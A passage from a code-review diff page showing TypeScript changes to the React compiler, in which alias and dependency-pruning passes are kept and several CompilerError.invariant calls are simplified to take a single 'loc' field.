ident.path.forEach(token => {
|
||||
target &&= this.paths.get(target)?.get(token.property);
|
||||
});
|
||||
if (target && this.map.get(target) === 'Create') {
|
||||
scope.scope.dependencies.delete(ident);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
override visitTerminal(
|
||||
stmt: ReactiveTerminalStatement,
|
||||
state: CreateUpdate,
|
||||
): void {
|
||||
CompilerError.invariant(state !== 'Create', {
|
||||
reason: "Visiting a terminal statement with state 'Create'",
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: stmt.terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
});
|
||||
super.visitTerminal(stmt, state);
|
||||
}
|
||||
|
||||
override visitReactiveFunctionValue(
|
||||
_id: InstructionId,
|
||||
_dependencies: Array<Place>,
|
||||
fn: ReactiveFunction,
|
||||
state: CreateUpdate,
|
||||
): void {
|
||||
visitReactiveFunction(fn, this, state);
|
||||
}
|
||||
}
|
||||
|
||||
export default function pruneInitializationDependencies(
|
||||
fn: ReactiveFunction,
|
||||
): void {
|
||||
const [aliases, paths] = getAliases(fn);
|
||||
visitReactiveFunction(fn, new Visitor(fn.env, aliases, paths), 'Update');
|
||||
}
|
||||
|
||||
function update(
|
||||
map: Map<IdentifierId, Map<PropertyLiteral, IdentifierId>>,
|
||||
key: IdentifierId,
|
||||
path: PropertyLiteral,
|
||||
value: IdentifierId,
|
||||
): void {
|
||||
const inner = map.get(key) ?? new Map();
|
||||
inner.set(path, value);
|
||||
map.set(key, inner);
|
||||
}
|
||||
|
||||
class AliasVisitor extends ReactiveFunctionVisitor {
|
||||
scopeIdentifiers: DisjointSet<IdentifierId> = new DisjointSet<IdentifierId>();
|
||||
scopePaths: Map<IdentifierId, Map<PropertyLiteral, IdentifierId>> = new Map();
|
||||
|
||||
override visitInstruction(instr: ReactiveInstruction): void {
|
||||
if (
|
||||
instr.value.kind === 'StoreLocal' ||
|
||||
instr.value.kind === 'StoreContext'
|
||||
) {
|
||||
this.scopeIdentifiers.union([
|
||||
instr.value.lvalue.place.identifier.id,
|
||||
instr.value.value.identifier.id,
|
||||
]);
|
||||
} else if (
|
||||
instr.value.kind === 'LoadLocal' ||
|
||||
instr.value.kind === 'LoadContext'
|
||||
) {
|
||||
instr.lvalue &&
|
||||
this.scopeIdentifiers.union([
|
||||
instr.lvalue.identifier.id,
|
||||
instr.value.place.identifier.id,
|
||||
]);
|
||||
} else if (instr.value.kind === 'PropertyLoad') {
|
||||
instr.lvalue &&
|
||||
update(
|
||||
this.scopePaths,
|
||||
instr.value.object.identifier.id,
|
||||
instr.value.property,
|
||||
instr.lvalue.identifier.id,
|
||||
);
|
||||
} else if (instr.value.kind === 'PropertyStore') {
|
||||
update(
|
||||
this.scopePaths,
|
||||
instr.value.object.identifier.id,
|
||||
instr.value.property,
|
||||
instr.value.value.identifier.id,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function getAliases(
|
||||
fn: ReactiveFunction,
|
||||
): [
|
||||
DisjointSet<IdentifierId>,
|
||||
Map<IdentifierId, Map<PropertyLiteral, IdentifierId>>,
|
||||
] {
|
||||
const visitor = new AliasVisitor();
|
||||
visitReactiveFunction(fn, visitor, null);
|
||||
let disjoint = visitor.scopeIdentifiers;
|
||||
let scopePaths = new Map<IdentifierId, Map<PropertyLiteral, IdentifierId>>();
|
||||
for (const [key, value] of visitor.scopePaths) {
|
||||
for (const [path, id] of value) {
|
||||
update(
|
||||
scopePaths,
|
||||
disjoint.find(key) ?? key,
|
||||
path,
|
||||
disjoint.find(id) ?? id,
|
||||
);
|
||||
}
|
||||
}
|
||||
return [disjoint, scopePaths];
|
||||
}
|
||||
@@ -9,6 +9,7 @@ import {CompilerError} from '../CompilerError';
|
||||
import {
|
||||
DeclarationId,
|
||||
Environment,
|
||||
GeneratedSource,
|
||||
Identifier,
|
||||
InstructionId,
|
||||
Pattern,
|
||||
@@ -264,14 +265,7 @@ class State {
|
||||
CompilerError.invariant(identifierNode !== undefined, {
|
||||
reason: 'Expected identifier to be initialized',
|
||||
description: `[${id}] operand=${printPlace(place)} for identifier declaration ${identifier}`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: place.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: place.loc,
|
||||
});
|
||||
identifierNode.scopes.add(scope.id);
|
||||
}
|
||||
@@ -291,15 +285,7 @@ function computeMemoizedIdentifiers(state: State): Set<DeclarationId> {
|
||||
const node = state.identifiers.get(id);
|
||||
CompilerError.invariant(node !== undefined, {
|
||||
reason: `Expected a node for all identifiers, none found for \`${id}\``,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
if (node.seen) {
|
||||
return node.memoized;
|
||||
@@ -339,15 +325,7 @@ function computeMemoizedIdentifiers(state: State): Set<DeclarationId> {
|
||||
const node = state.scopes.get(id);
|
||||
CompilerError.invariant(node !== undefined, {
|
||||
reason: 'Expected a node for all scopes',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
if (node.seen) {
|
||||
return;
|
||||
@@ -994,15 +972,7 @@ class CollectDependenciesVisitor extends ReactiveFunctionVisitor<
|
||||
);
|
||||
CompilerError.invariant(identifierNode !== undefined, {
|
||||
reason: 'Expected identifier to be initialized',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: stmt.terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: stmt.terminal.loc,
|
||||
});
|
||||
for (const scope of scopes) {
|
||||
identifierNode.scopes.add(scope.id);
|
||||
@@ -1025,15 +995,7 @@ class CollectDependenciesVisitor extends ReactiveFunctionVisitor<
|
||||
);
|
||||
CompilerError.invariant(identifierNode !== undefined, {
|
||||
reason: 'Expected identifier to be initialized',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: reassignment.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: reassignment.loc,
|
||||
});
|
||||
for (const scope of scopes) {
|
||||
identifierNode.scopes.add(scope.id);
|
||||
|
||||
@@ -9,6 +9,7 @@ import {ProgramContext} from '..';
|
||||
import {CompilerError} from '../CompilerError';
|
||||
import {
|
||||
DeclarationId,
|
||||
GeneratedSource,
|
||||
Identifier,
|
||||
IdentifierName,
|
||||
InstructionId,
|
||||
@@ -185,15 +186,7 @@ class Scopes {
|
||||
const last = this.#stack.pop();
|
||||
CompilerError.invariant(last === next, {
|
||||
reason: 'Mismatch push/pop calls',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user